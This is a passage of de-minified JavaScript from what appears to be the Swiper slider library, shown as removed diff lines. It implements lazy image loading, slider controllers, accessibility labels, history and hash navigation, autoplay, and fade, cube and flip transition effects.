i.zoom.onTouchEnd(t) - }, - doubleTap: function e(t) { - var i = this; - if (i.params.zoom.enabled && i.zoom.enabled && i.params.zoom.toggle) { - i.zoom.toggle(t) - } - }, - transitionEnd: function e() { - var t = this; - if (t.zoom.enabled && t.params.zoom.enabled) { - t.zoom.onTransitionEnd() - } - } - } - }; - var st = { - loadInSlide: function e(t) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : true; - var n = this; - var r = n.params.lazy; - if (typeof t === "undefined") return; - if (n.slides.length === 0) return; - var a = n.virtual && n.params.virtual.enabled; - var s = a ? n.$wrapperEl.children("." + n.params.slideClass + '[data-swiper-slide-index="' + t + '"]') : n.slides.eq(t); - var o = s.find("." + r.elementClass + ":not(." + r.loadedClass + "):not(." + r.loadingClass + ")"); - if (s.hasClass(r.elementClass) && !s.hasClass(r.loadedClass) && !s.hasClass(r.loadingClass)) { - o = o.add(s[0]) - } - if (o.length === 0) return; - o.each(function (e, t) { - var a = (0, y.$)(t); - a.addClass(r.loadingClass); - var o = a.attr("data-background"); - var l = a.attr("data-src"); - var u = a.attr("data-srcset"); - var d = a.attr("data-sizes"); - n.loadImage(a[0], l || o, u, d, false, function () { - if (typeof n === "undefined" || n === null || !n || n && !n.params || n.destroyed) return; - if (o) { - a.css("background-image", 'url("' + o + '")'); - a.removeAttr("data-background") - } else { - if (u) { - a.attr("srcset", u); - a.removeAttr("data-srcset") - } - if (d) { - a.attr("sizes", d); - a.removeAttr("data-sizes") - } - if (l) { - a.attr("src", l); - a.removeAttr("data-src") - } - } - a.addClass(r.loadedClass).removeClass(r.loadingClass); - s.find("." + r.preloaderClass).remove(); - if (n.params.loop && i) { - var e = s.attr("data-swiper-slide-index"); - if (s.hasClass(n.params.slideDuplicateClass)) { - var t = n.$wrapperEl.children('[data-swiper-slide-index="' + e + '"]:not(.' + n.params.slideDuplicateClass + ")"); - n.lazy.loadInSlide(t.index(), false) - } else { - var f = n.$wrapperEl.children("." + n.params.slideDuplicateClass + '[data-swiper-slide-index="' + e + '"]'); - n.lazy.loadInSlide(f.index(), false) - } - } - n.emit("lazyImageReady", s[0], a[0]) - }); - n.emit("lazyImageLoad", s[0], a[0]) - }) - }, - load: function e() { - var t = this; - var i = t.$wrapperEl, - n = t.params, - r = t.slides, - a = t.activeIndex; - var s = t.virtual && n.virtual.enabled; - var o = n.lazy; - var l = n.slidesPerView; - if (l === "auto") { - l = 0 - } - - function u(e) { - if (s) { - if (i.children("." + n.slideClass + '[data-swiper-slide-index="' + e + '"]').length) { - return true - } - } else if (r[e]) return true; - return false - } - - function d(e) { - if (s) { - return (0, y.$)(e).attr("data-swiper-slide-index") - } - return (0, y.$)(e).index() - } - if (!t.lazy.initialImageLoaded) t.lazy.initialImageLoaded = true; - if (t.params.watchSlidesVisibility) { - i.children("." + n.slideVisibleClass).each(function (e, i) { - var n = s ? (0, y.$)(i).attr("data-swiper-slide-index") : (0, y.$)(i).index(); - t.lazy.loadInSlide(n) - }) - } else if (l > 1) { - for (var f = a; f < a + l; f += 1) { - if (u(f)) t.lazy.loadInSlide(f) - } - } else { - t.lazy.loadInSlide(a) - } - if (o.loadPrevNext) { - if (l > 1 || o.loadPrevNextAmount && o.loadPrevNextAmount > 1) { - var c = o.loadPrevNextAmount; - var h = l; - var m = Math.min(a + h + Math.max(c, h), r.length); - var p = Math.max(a - Math.max(h, c), 0); - for (var v = a + l; v < m; v += 1) { - if (u(v)) t.lazy.loadInSlide(v) - } - for (var _ = p; _ < a; _ += 1) { - if (u(_)) t.lazy.loadInSlide(_) - } - } else { - var g = i.children("." + n.slideNextClass); - if (g.length > 0) t.lazy.loadInSlide(d(g)); - var b = i.children("." + n.slidePrevClass); - if (b.length > 0) t.lazy.loadInSlide(d(b)) - } - } - } - }; - var ot = { - name: "lazy", - params: { - lazy: { - enabled: false, - loadPrevNext: false, - loadPrevNextAmount: 1, - loadOnTransitionStart: false, - elementClass: "swiper-lazy", - loadingClass: "swiper-lazy-loading", - loadedClass: "swiper-lazy-loaded", - preloaderClass: "swiper-lazy-preloader" - } - }, - create: function e() { - var t = this; - k.extend(t, { - lazy: { - initialImageLoaded: false, - load: st.load.bind(t), - loadInSlide: st.loadInSlide.bind(t) - } - }) - }, - on: { - beforeInit: function e() { - var t = this; - if (t.params.lazy.enabled && t.params.preloadImages) { - t.params.preloadImages = false - } - }, - init: function e() { - var t = this; - if (t.params.lazy.enabled && !t.params.loop && t.params.initialSlide === 0) { - t.lazy.load() - } - }, - scroll: function e() { - var t = this; - if (t.params.freeMode && !t.params.freeModeSticky) { - t.lazy.load() - } - }, - resize: function e() { - var t = this; - if (t.params.lazy.enabled) { - t.lazy.load() - } - }, - scrollbarDragMove: function e() { - var t = this; - if (t.params.lazy.enabled) { - t.lazy.load() - } - }, - transitionStart: function e() { - var t = this; - if (t.params.lazy.enabled) { - if (t.params.lazy.loadOnTransitionStart || !t.params.lazy.loadOnTransitionStart && !t.lazy.initialImageLoaded) { - t.lazy.load() - } - } - }, - transitionEnd: function e() { - var t = this; - if (t.params.lazy.enabled && !t.params.lazy.loadOnTransitionStart) { - t.lazy.load() - } - } - } - }; - var lt = { - LinearSpline: function e(t, i) { - var n = function e() { - var t = void 0; - var i = void 0; - var n = void 0; - return function (e, r) { - i = -1; - t = e.length; - while (t - i > 1) { - n = t + i >> 1; - if (e[n] <= r) { - i = n - } else { - t = n - } - } - return t - } - }(); - this.x = t; - this.y = i; - this.lastIndex = t.length - 1; - var r = void 0; - var a = void 0; - this.interpolate = function e(t) { - if (!t) return 0; - a = n(this.x, t); - r = a - 1; - return (t - this.x[r]) * (this.y[a] - this.y[r]) / (this.x[a] - this.x[r]) + this.y[r] - }; - return this - }, - getInterpolateFunction: function e(t) { - var i = this; - if (!i.controller.spline) { - i.controller.spline = i.params.loop ? new lt.LinearSpline(i.slidesGrid, t.slidesGrid) : new lt.LinearSpline(i.snapGrid, t.snapGrid) - } - }, - setTranslate: function e(t, i) { - var n = this; - var r = n.controller.control; - var a = void 0; - var s = void 0; - - function o(e) { - var t = n.rtlTranslate ? -n.translate : n.translate; - if (n.params.controller.by === "slide") { - n.controller.getInterpolateFunction(e); - s = -n.controller.spline.interpolate(-t) - } - if (!s || n.params.controller.by === "container") { - a = (e.maxTranslate() - e.minTranslate()) / (n.maxTranslate() - n.minTranslate()); - s = (t - n.minTranslate()) * a + e.minTranslate() - } - if (n.params.controller.inverse) { - s = e.maxTranslate() - s - } - e.updateProgress(s); - e.setTranslate(s, n); - e.updateActiveIndex(); - e.updateSlidesClasses() - } - if (Array.isArray(r)) { - for (var l = 0; l < r.length; l += 1) { - if (r[l] !== i && r[l] instanceof He) { - o(r[l]) - } - } - } else if (r instanceof He && i !== r) { - o(r) - } - }, - setTransition: function e(t, i) { - var n = this; - var r = n.controller.control; - var a = void 0; - - function s(e) { - e.setTransition(t, n); - if (t !== 0) { - e.transitionStart(); - if (e.params.autoHeight) { - k.nextTick(function () { - e.updateAutoHeight() - }) - } - e.$wrapperEl.transitionEnd(function () { - if (!r) return; - if (e.params.loop && n.params.controller.by === "slide") { - e.loopFix() - } - e.transitionEnd() - }) - } - } - if (Array.isArray(r)) { - for (a = 0; a < r.length; a += 1) { - if (r[a] !== i && r[a] instanceof He) { - s(r[a]) - } - } - } else if (r instanceof He && i !== r) { - s(r) - } - } - }; - var ut = { - name: "controller", - params: { - controller: { - control: undefined, - inverse: false, - by: "slide" - } - }, - create: function e() { - var t = this; - k.extend(t, { - controller: { - control: t.params.controller.control, - getInterpolateFunction: lt.getInterpolateFunction.bind(t), - setTranslate: lt.setTranslate.bind(t), - setTransition: lt.setTransition.bind(t) - } - }) - }, - on: { - update: function e() { - var t = this; - if (!t.controller.control) return; - if (t.controller.spline) { - t.controller.spline = undefined; - delete t.controller.spline - } - }, - resize: function e() { - var t = this; - if (!t.controller.control) return; - if (t.controller.spline) { - t.controller.spline = undefined; - delete t.controller.spline - } - }, - observerUpdate: function e() { - var t = this; - if (!t.controller.control) return; - if (t.controller.spline) { - t.controller.spline = undefined; - delete t.controller.spline - } - }, - setTranslate: function e(t, i) { - var n = this; - if (!n.controller.control) return; - n.controller.setTranslate(t, i) - }, - setTransition: function e(t, i) { - var n = this; - if (!n.controller.control) return; - n.controller.setTransition(t, i) - } - } - }; - var dt = { - makeElFocusable: function e(t) { - t.attr("tabIndex", "0"); - return t - }, - addElRole: function e(t, i) { - t.attr("role", i); - return t - }, - addElLabel: function e(t, i) { - t.attr("aria-label", i); - return t - }, - disableEl: function e(t) { - t.attr("aria-disabled", true); - return t - }, - enableEl: function e(t) { - t.attr("aria-disabled", false); - return t - }, - onEnterKey: function e(t) { - var i = this; - var n = i.params.a11y; - if (t.keyCode !== 13) return; - var r = (0, y.$)(t.target); - if (i.navigation && i.navigation.$nextEl && r.is(i.navigation.$nextEl)) { - if (!(i.isEnd && !i.params.loop)) { - i.slideNext() - } - if (i.isEnd) { - i.a11y.notify(n.lastSlideMessage) - } else { - i.a11y.notify(n.nextSlideMessage) - } - } - if (i.navigation && i.navigation.$prevEl && r.is(i.navigation.$prevEl)) { - if (!(i.isBeginning && !i.params.loop)) { - i.slidePrev() - } - if (i.isBeginning) { - i.a11y.notify(n.firstSlideMessage) - } else { - i.a11y.notify(n.prevSlideMessage) - } - } - if (i.pagination && r.is("." + i.params.pagination.bulletClass)) { - r[0].click() - } - }, - notify: function e(t) { - var i = this; - var n = i.a11y.liveRegion; - if (n.length === 0) return; - n.html(""); - n.html(t) - }, - updateNavigation: function e() { - var t = this; - if (t.params.loop) return; - var i = t.navigation, - n = i.$nextEl, - r = i.$prevEl; - if (r && r.length > 0) { - if (t.isBeginning) { - t.a11y.disableEl(r) - } else { - t.a11y.enableEl(r) - } - } - if (n && n.length > 0) { - if (t.isEnd) { - t.a11y.disableEl(n) - } else { - t.a11y.enableEl(n) - } - } - }, - updatePagination: function e() { - var t = this; - var i = t.params.a11y; - if (t.pagination && t.params.pagination.clickable && t.pagination.bullets && t.pagination.bullets.length) { - t.pagination.bullets.each(function (e, n) { - var r = (0, y.$)(n); - t.a11y.makeElFocusable(r); - t.a11y.addElRole(r, "button"); - t.a11y.addElLabel(r, i.paginationBulletMessage.replace(/{{index}}/, r.index() + 1)) - }) - } - }, - init: function e() { - var t = this; - t.$el.append(t.a11y.liveRegion); - var i = t.params.a11y; - var n = void 0; - var r = void 0; - if (t.navigation && t.navigation.$nextEl) { - n = t.navigation.$nextEl - } - if (t.navigation && t.navigation.$prevEl) { - r = t.navigation.$prevEl - } - if (n) { - t.a11y.makeElFocusable(n); - t.a11y.addElRole(n, "button"); - t.a11y.addElLabel(n, i.nextSlideMessage); - n.on("keydown", t.a11y.onEnterKey) - } - if (r) { - t.a11y.makeElFocusable(r); - t.a11y.addElRole(r, "button"); - t.a11y.addElLabel(r, i.prevSlideMessage); - r.on("keydown", t.a11y.onEnterKey) - } - if (t.pagination && t.params.pagination.clickable && t.pagination.bullets && t.pagination.bullets.length) { - t.pagination.$el.on("keydown", "." + t.params.pagination.bulletClass, t.a11y.onEnterKey) - } - }, - destroy: function e() { - var t = this; - if (t.a11y.liveRegion && t.a11y.liveRegion.length > 0) t.a11y.liveRegion.remove(); - var i = void 0; - var n = void 0; - if (t.navigation && t.navigation.$nextEl) { - i = t.navigation.$nextEl - } - if (t.navigation && t.navigation.$prevEl) { - n = t.navigation.$prevEl - } - if (i) { - i.off("keydown", t.a11y.onEnterKey) - } - if (n) { - n.off("keydown", t.a11y.onEnterKey) - } - if (t.pagination && t.params.pagination.clickable && t.pagination.bullets && t.pagination.bullets.length) { - t.pagination.$el.off("keydown", "." + t.params.pagination.bulletClass, t.a11y.onEnterKey) - } - } - }; - var ft = { - name: "a11y", - params: { - a11y: { - enabled: true, - notificationClass: "swiper-notification", - prevSlideMessage: "Previous slide", - nextSlideMessage: "Next slide", - firstSlideMessage: "This is the first slide", - lastSlideMessage: "This is the last slide", - paginationBulletMessage: "Go to slide {{index}}" - } - }, - create: function e() { - var t = this; - k.extend(t, { - a11y: { - liveRegion: (0, y.$)('') - } - }); - (0, g.default)(dt).forEach(function (e) { - t.a11y[e] = dt[e].bind(t) - }) - }, - on: { - init: function e() { - var t = this; - if (!t.params.a11y.enabled) return; - t.a11y.init(); - t.a11y.updateNavigation() - }, - toEdge: function e() { - var t = this; - if (!t.params.a11y.enabled) return; - t.a11y.updateNavigation() - }, - fromEdge: function e() { - var t = this; - if (!t.params.a11y.enabled) return; - t.a11y.updateNavigation() - }, - paginationUpdate: function e() { - var t = this; - if (!t.params.a11y.enabled) return; - t.a11y.updatePagination() - }, - destroy: function e() { - var t = this; - if (!t.params.a11y.enabled) return; - t.a11y.destroy() - } - } - }; - var ct = { - init: function e() { - var t = this; - if (!t.params.history) return; - if (!b.window.history || !b.window.history.pushState) { - t.params.history.enabled = false; - t.params.hashNavigation.enabled = true; - return - } - var i = t.history; - i.initialized = true; - i.paths = ct.getPathValues(); - if (!i.paths.key && !i.paths.value) return; - i.scrollToSlide(0, i.paths.value, t.params.runCallbacksOnInit); - if (!t.params.history.replaceState) { - b.window.addEventListener("popstate", t.history.setHistoryPopState) - } - }, - destroy: function e() { - var t = this; - if (!t.params.history.replaceState) { - b.window.removeEventListener("popstate", t.history.setHistoryPopState) - } - }, - setHistoryPopState: function e() { - var t = this; - t.history.paths = ct.getPathValues(); - t.history.scrollToSlide(t.params.speed, t.history.paths.value, false) - }, - getPathValues: function e() { - var t = b.window.location.pathname.slice(1).split("/").filter(function (e) { - return e !== "" - }); - var i = t.length; - var n = t[i - 2]; - var r = t[i - 1]; - return { - key: n, - value: r - } - }, - setHistory: function e(t, i) { - var n = this; - if (!n.history.initialized || !n.params.history.enabled) return; - var r = n.slides.eq(i); - var a = ct.slugify(r.attr("data-history")); - if (!b.window.location.pathname.includes(t)) { - a = t + "/" + a - } - var s = b.window.history.state; - if (s && s.value === a) { - return - } - if (n.params.history.replaceState) { - b.window.history.replaceState({ - value: a - }, null, a) - } else { - b.window.history.pushState({ - value: a - }, null, a) - } - }, - slugify: function e(t) { - return t.toString().toLowerCase().replace(/\s+/g, "-").replace(/[^\w-]+/g, "").replace(/--+/g, "-").replace(/^-+/, "").replace(/-+$/, "") - }, - scrollToSlide: function e(t, i, n) { - var r = this; - if (i) { - for (var a = 0, s = r.slides.length; a < s; a += 1) { - var o = r.slides.eq(a); - var l = ct.slugify(o.attr("data-history")); - if (l === i && !o.hasClass(r.params.slideDuplicateClass)) { - var u = o.index(); - r.slideTo(u, t, n) - } - } - } else { - r.slideTo(0, t, n) - } - } - }; - var ht = { - name: "history", - params: { - history: { - enabled: false, - replaceState: false, - key: "slides" - } - }, - create: function e() { - var t = this; - k.extend(t, { - history: { - init: ct.init.bind(t), - setHistory: ct.setHistory.bind(t), - setHistoryPopState: ct.setHistoryPopState.bind(t), - scrollToSlide: ct.scrollToSlide.bind(t), - destroy: ct.destroy.bind(t) - } - }) - }, - on: { - init: function e() { - var t = this; - if (t.params.history.enabled) { - t.history.init() - } - }, - destroy: function e() { - var t = this; - if (t.params.history.enabled) { - t.history.destroy() - } - }, - transitionEnd: function e() { - var t = this; - if (t.history.initialized) { - t.history.setHistory(t.params.history.key, t.activeIndex) - } - } - } - }; - var mt = { - onHashCange: function e() { - var t = this; - var i = b.document.location.hash.replace("#", ""); - var n = t.slides.eq(t.activeIndex).attr("data-hash"); - if (i !== n) { - var r = t.$wrapperEl.children("." + t.params.slideClass + '[data-hash="' + i + '"]').index(); - if (typeof r === "undefined") return; - t.slideTo(r) - } - }, - setHash: function e() { - var t = this; - if (!t.hashNavigation.initialized || !t.params.hashNavigation.enabled) return; - if (t.params.hashNavigation.replaceState && b.window.history && b.window.history.replaceState) { - b.window.history.replaceState(null, null, "#" + t.slides.eq(t.activeIndex).attr("data-hash") || "") - } else { - var i = t.slides.eq(t.activeIndex); - var n = i.attr("data-hash") || i.attr("data-history"); - b.document.location.hash = n || "" - } - }, - init: function e() { - var t = this; - if (!t.params.hashNavigation.enabled || t.params.history && t.params.history.enabled) return; - t.hashNavigation.initialized = true; - var i = b.document.location.hash.replace("#", ""); - if (i) { - var n = 0; - for (var r = 0, a = t.slides.length; r < a; r += 1) { - var s = t.slides.eq(r); - var o = s.attr("data-hash") || s.attr("data-history"); - if (o === i && !s.hasClass(t.params.slideDuplicateClass)) { - var l = s.index(); - t.slideTo(l, n, t.params.runCallbacksOnInit, true) - } - } - } - if (t.params.hashNavigation.watchState) { - (0, y.$)(b.window).on("hashchange", t.hashNavigation.onHashCange) - } - }, - destroy: function e() { - var t = this; - if (t.params.hashNavigation.watchState) { - (0, y.$)(b.window).off("hashchange", t.hashNavigation.onHashCange) - } - } - }; - var pt = { - name: "hash-navigation", - params: { - hashNavigation: { - enabled: false, - replaceState: false, - watchState: false - } - }, - create: function e() { - var t = this; - k.extend(t, { - hashNavigation: { - initialized: false, - init: mt.init.bind(t), - destroy: mt.destroy.bind(t), - setHash: mt.setHash.bind(t), - onHashCange: mt.onHashCange.bind(t) - } - }) - }, - on: { - init: function e() { - var t = this; - if (t.params.hashNavigation.enabled) { - t.hashNavigation.init() - } - }, - destroy: function e() { - var t = this; - if (t.params.hashNavigation.enabled) { - t.hashNavigation.destroy() - } - }, - transitionEnd: function e() { - var t = this; - if (t.hashNavigation.initialized) { - t.hashNavigation.setHash() - } - } - } - }; - var vt = { - run: function e() { - var t = this; - var i = t.slides.eq(t.activeIndex); - var n = t.params.autoplay.delay; - if (i.attr("data-swiper-autoplay")) { - n = i.attr("data-swiper-autoplay") || t.params.autoplay.delay - } - t.autoplay.timeout = k.nextTick(function () { - if (t.params.autoplay.reverseDirection) { - if (t.params.loop) { - t.loopFix(); - t.slidePrev(t.params.speed, true, true); - t.emit("autoplay") - } else if (!t.isBeginning) { - t.slidePrev(t.params.speed, true, true); - t.emit("autoplay") - } else if (!t.params.autoplay.stopOnLastSlide) { - t.slideTo(t.slides.length - 1, t.params.speed, true, true); - t.emit("autoplay") - } else { - t.autoplay.stop() - } - } else if (t.params.loop) { - t.loopFix(); - t.slideNext(t.params.speed, true, true); - t.emit("autoplay") - } else if (!t.isEnd) { - t.slideNext(t.params.speed, true, true); - t.emit("autoplay") - } else if (!t.params.autoplay.stopOnLastSlide) { - t.slideTo(0, t.params.speed, true, true); - t.emit("autoplay") - } else { - t.autoplay.stop() - } - }, n) - }, - start: function e() { - var t = this; - if (typeof t.autoplay.timeout !== "undefined") return false; - if (t.autoplay.running) return false; - t.autoplay.running = true; - t.emit("autoplayStart"); - t.autoplay.run(); - return true - }, - stop: function e() { - var t = this; - if (!t.autoplay.running) return false; - if (typeof t.autoplay.timeout === "undefined") return false; - if (t.autoplay.timeout) { - clearTimeout(t.autoplay.timeout); - t.autoplay.timeout = undefined - } - t.autoplay.running = false; - t.emit("autoplayStop"); - return true - }, - pause: function e(t) { - var i = this; - if (!i.autoplay.running) return; - if (i.autoplay.paused) return; - if (i.autoplay.timeout) clearTimeout(i.autoplay.timeout); - i.autoplay.paused = true; - if (t === 0 || !i.params.autoplay.waitForTransition) { - i.autoplay.paused = false; - i.autoplay.run() - } else { - i.$wrapperEl[0].addEventListener("transitionend", i.autoplay.onTransitionEnd); - i.$wrapperEl[0].addEventListener("webkitTransitionEnd", i.autoplay.onTransitionEnd) - } - } - }; - var _t = { - name: "autoplay", - params: { - autoplay: { - enabled: false, - delay: 3e3, - waitForTransition: true, - disableOnInteraction: true, - stopOnLastSlide: false, - reverseDirection: false - } - }, - create: function e() { - var t = this; - k.extend(t, { - autoplay: { - running: false, - paused: false, - run: vt.run.bind(t), - start: vt.start.bind(t), - stop: vt.stop.bind(t), - pause: vt.pause.bind(t), - onTransitionEnd: function e(i) { - if (!t || t.destroyed || !t.$wrapperEl) return; - if (i.target !== this) return; - t.$wrapperEl[0].removeEventListener("transitionend", t.autoplay.onTransitionEnd); - t.$wrapperEl[0].removeEventListener("webkitTransitionEnd", t.autoplay.onTransitionEnd); - t.autoplay.paused = false; - if (!t.autoplay.running) { - t.autoplay.stop() - } else { - t.autoplay.run() - } - } - } - }) - }, - on: { - init: function e() { - var t = this; - if (t.params.autoplay.enabled) { - t.autoplay.start() - } - }, - beforeTransitionStart: function e(t, i) { - var n = this; - if (n.autoplay.running) { - if (i || !n.params.autoplay.disableOnInteraction) { - n.autoplay.pause(t) - } else { - n.autoplay.stop() - } - } - }, - sliderFirstMove: function e() { - var t = this; - if (t.autoplay.running) { - if (t.params.autoplay.disableOnInteraction) { - t.autoplay.stop() - } else { - t.autoplay.pause() - } - } - }, - destroy: function e() { - var t = this; - if (t.autoplay.running) { - t.autoplay.stop() - } - } - } - }; - var gt = { - setTranslate: function e() { - var t = this; - var i = t.slides; - for (var n = 0; n < i.length; n += 1) { - var r = t.slides.eq(n); - var a = r[0].swiperSlideOffset; - var s = -a; - if (!t.params.virtualTranslate) s -= t.translate; - var o = 0; - if (!t.isHorizontal()) { - o = s; - s = 0 - } - var l = t.params.fadeEffect.crossFade ? Math.max(1 - Math.abs(r[0].progress), 0) : 1 + Math.min(Math.max(r[0].progress, -1), 0); - r.css({ - opacity: l - }).transform("translate3d(" + s + "px, " + o + "px, 0px)") - } - }, - setTransition: function e(t) { - var i = this; - var n = i.slides, - r = i.$wrapperEl; - n.transition(t); - if (i.params.virtualTranslate && t !== 0) { - var a = false; - n.transitionEnd(function () { - if (a) return; - if (!i || i.destroyed) return; - a = true; - i.animating = false; - var e = ["webkitTransitionEnd", "transitionend"]; - for (var t = 0; t < e.length; t += 1) { - r.trigger(e[t]) - } - }) - } - } - }; - var yt = { - name: "effect-fade", - params: { - fadeEffect: { - crossFade: false - } - }, - create: function e() { - var t = this; - k.extend(t, { - fadeEffect: { - setTranslate: gt.setTranslate.bind(t), - setTransition: gt.setTransition.bind(t) - } - }) - }, - on: { - beforeInit: function e() { - var t = this; - if (t.params.effect !== "fade") return; - t.classNames.push(t.params.containerModifierClass + "fade"); - var i = { - slidesPerView: 1, - slidesPerColumn: 1, - slidesPerGroup: 1, - watchSlidesProgress: true, - spaceBetween: 0, - virtualTranslate: true - }; - k.extend(t.params, i); - k.extend(t.originalParams, i) - }, - setTranslate: function e() { - var t = this; - if (t.params.effect !== "fade") return; - t.fadeEffect.setTranslate() - }, - setTransition: function e(t) { - var i = this; - if (i.params.effect !== "fade") return; - i.fadeEffect.setTransition(t) - } - } - }; - var bt = { - setTranslate: function e() { - var t = this; - var i = t.$el, - n = t.$wrapperEl, - r = t.slides, - a = t.width, - s = t.height, - o = t.rtlTranslate, - l = t.size; - var u = t.params.cubeEffect; - var d = t.isHorizontal(); - var f = t.virtual && t.params.virtual.enabled; - var c = 0; - var h = void 0; - if (u.shadow) { - if (d) { - h = n.find(".swiper-cube-shadow"); - if (h.length === 0) { - h = (0, y.$)('
'); - n.append(h) - } - h.css({ - height: a + "px" - }) - } else { - h = i.find(".swiper-cube-shadow"); - if (h.length === 0) { - h = (0, y.$)('
'); - i.append(h) - } - } - } - for (var m = 0; m < r.length; m += 1) { - var p = r.eq(m); - var v = m; - if (f) { - v = parseInt(p.attr("data-swiper-slide-index"), 10) - } - var _ = v * 90; - var g = Math.floor(_ / 360); - if (o) { - _ = -_; - g = Math.floor(-_ / 360) - } - var b = Math.max(Math.min(p[0].progress, 1), -1); - var w = 0; - var M = 0; - var k = 0; - if (v % 4 === 0) { - w = -g * 4 * l; - k = 0 - } else if ((v - 1) % 4 === 0) { - w = 0; - k = -g * 4 * l - } else if ((v - 2) % 4 === 0) { - w = l + g * 4 * l; - k = l - } else if ((v - 3) % 4 === 0) { - w = -l; - k = 3 * l + l * 4 * g - } - if (o) { - w = -w - } - if (!d) { - M = w; - w = 0 - } - var L = "rotateX(" + (d ? 0 : -_) + "deg) rotateY(" + (d ? _ : 0) + "deg) translate3d(" + w + "px, " + M + "px, " + k + "px)"; - if (b <= 1 && b > -1) { - c = v * 90 + b * 90; - if (o) c = -v * 90 - b * 90 - } - p.transform(L); - if (u.slideShadows) { - var T = d ? p.find(".swiper-slide-shadow-left") : p.find(".swiper-slide-shadow-top"); - var x = d ? p.find(".swiper-slide-shadow-right") : p.find(".swiper-slide-shadow-bottom"); - if (T.length === 0) { - T = (0, y.$)('
'); - p.append(T) - } - if (x.length === 0) { - x = (0, y.$)('
'); - p.append(x) - } - if (T.length) T[0].style.opacity = Math.max(-b, 0); - if (x.length) x[0].style.opacity = Math.max(b, 0) - } - } - n.css({ - "-webkit-transform-origin": "50% 50% -" + l / 2 + "px", - "-moz-transform-origin": "50% 50% -" + l / 2 + "px", - "-ms-transform-origin": "50% 50% -" + l / 2 + "px", - "transform-origin": "50% 50% -" + l / 2 + "px" - }); - if (u.shadow) { - if (d) { - h.transform("translate3d(0px, " + (a / 2 + u.shadowOffset) + "px, " + -a / 2 + "px) rotateX(90deg) rotateZ(0deg) scale(" + u.shadowScale + ")") - } else { - var S = Math.abs(c) - Math.floor(Math.abs(c) / 90) * 90; - var Y = 1.5 - (Math.sin(S * 2 * Math.PI / 360) / 2 + Math.cos(S * 2 * Math.PI / 360) / 2); - var D = u.shadowScale; - var E = u.shadowScale / Y; - var C = u.shadowOffset; - h.transform("scale3d(" + D + ", 1, " + E + ") translate3d(0px, " + (s / 2 + C) + "px, " + -s / 2 / E + "px) rotateX(-90deg)") - } - } - var P = Le.isSafari || Le.isUiWebView ? -l / 2 : 0; - n.transform("translate3d(0px,0," + P + "px) rotateX(" + (t.isHorizontal() ? 0 : c) + "deg) rotateY(" + (t.isHorizontal() ? -c : 0) + "deg)") - }, - setTransition: function e(t) { - var i = this; - var n = i.$el, - r = i.slides; - r.transition(t).find(".swiper-slide-shadow-top, .swiper-slide-shadow-right, .swiper-slide-shadow-bottom, .swiper-slide-shadow-left").transition(t); - if (i.params.cubeEffect.shadow && !i.isHorizontal()) { - n.find(".swiper-cube-shadow").transition(t) - } - } - }; - var wt = { - name: "effect-cube", - params: { - cubeEffect: { - slideShadows: true, - shadow: true, - shadowOffset: 20, - shadowScale: .94 - } - }, - create: function e() { - var t = this; - k.extend(t, { - cubeEffect: { - setTranslate: bt.setTranslate.bind(t), - setTransition: bt.setTransition.bind(t) - } - }) - }, - on: { - beforeInit: function e() { - var t = this; - if (t.params.effect !== "cube") return; - t.classNames.push(t.params.containerModifierClass + "cube"); - t.classNames.push(t.params.containerModifierClass + "3d"); - var i = { - slidesPerView: 1, - slidesPerColumn: 1, - slidesPerGroup: 1, - watchSlidesProgress: true, - resistanceRatio: 0, - spaceBetween: 0, - centeredSlides: false, - virtualTranslate: true - }; - k.extend(t.params, i); - k.extend(t.originalParams, i) - }, - setTranslate: function e() { - var t = this; - if (t.params.effect !== "cube") return; - t.cubeEffect.setTranslate() - }, - setTransition: function e(t) { - var i = this; - if (i.params.effect !== "cube") return; - i.cubeEffect.setTransition(t) - } - } - }; - var Mt = { - setTranslate: function e() { - var t = this; - var i = t.slides, - n = t.rtlTranslate; - for (var r = 0; r < i.length; r += 1) { - var a = i.eq(r); - var s = a[0].progress; - if (t.params.flipEffect.limitRotation) { - s = Math.max(Math.min(a[0].progress, 1), -1) - } - var o = a[0].swiperSlideOffset; - var l = -180 * s; - var u = l; - var d = 0; - var f = -o; - var c = 0; - if (!t.isHorizontal()) { - c = f; - f = 0; - d = -u; - u = 0 - } else if (n) { - u = -u - } - a[0].style.zIndex = -Math.abs(Math.round(s)) + i.length; - if (t.params.flipEffect.slideShadows) { - var h = t.isHorizontal() ? a.find(".swiper-slide-shadow-left") : a.find(".swiper-slide-shadow-top"); - var m = t.isHorizontal() ? a.find(".swiper-slide-shadow-right") : a.find(".swiper-slide-shadow-bottom"); - if (h.length === 0) { - h = (0, y.$)('
'); - a.append(h) - } - if (m.length === 0) { - m = (0, y.$)('
'); - a.append(m) - } - if (h.length) h[0].style.opacity = Math.max(-s, 0); - if (m.length) m[0].style.opacity = Math.max(s, 0) - } - a.transform("translate3d(" + f + "px, " + c + "px, 0px) rotateX(" + d + "deg) rotateY(" + u + "deg)") - } - }, - setTransition: function e(t) { - var i = this; - var n = i.slides, - r = i.activeIndex, - a = i.$wrapperEl; - n.transition(t).find(".swiper-slide-shadow-top, .swiper-slide-shadow-right, .swiper-slide-shadow-bottom, .swiper-slide-shadow-left").transition(t); - if (i.params.virtualTranslate && t !== 0) { - var s = false; - n.eq(r).transitionEnd(function e() { - if (s) return; - if (!i || i.destroyed) return; - s = true; - i.animating = false; - var t = ["webkitTransitionEnd", "transitionend"]; - for (var n = 0; n < t.length; n += 1) { - a.trigger(t[n]) - } - }) - } - } - }; - var kt = { - name: "effect-flip", - params: { - flipEffect: { - slideShadows: true, - limitRotation: true - } - }, - create: function e() { - var t = this; - k.extend(t, { - flipEffect: { - setTranslate: Mt.setTranslate.bind(t), - setTransition: Mt.setTransition.bind(t) - } - }) - }, - on: { - beforeInit: function e() { - var t = this; - if (t.params.effect !== "flip") return; - t.classNames.push(t.params.containerModifierClass + "flip"); - t.classNames.push(t.params.containerModifierClass + "3d"); - var i = { - slidesPerView: 1, - slidesPerColumn: 1, - slidesPerGroup: 1, - watchSlidesProgress: true, - spaceBetween: 0, - virtualTranslate: true - }; - k.extend(t.params, i); - k.extend(t.originalParams, i) - }, - setTranslate: function e() { - var t = this; - if (t.params.effect !== "flip") return; - t.flipEffect.setTranslate() - }, - setTransition: function e(t) { - var i = this; - if (i.params.effect !== "flip") return; - i.flipEffect.setTransition(t) - } - } - }; - var Lt = { - setTranslate: function e() { - var t = this; - var i = t.width, - n = t.height, - r = t.slides, - a = t.$wrapperEl, - s = t.slidesSizesGrid; - var o = t.params.coverflowEffect; - var l = t.isHorizontal(); - var u = t.translate; - var d = l ? -u + i / 2 : -u + n / 2; - var f = l ? o.rotate : 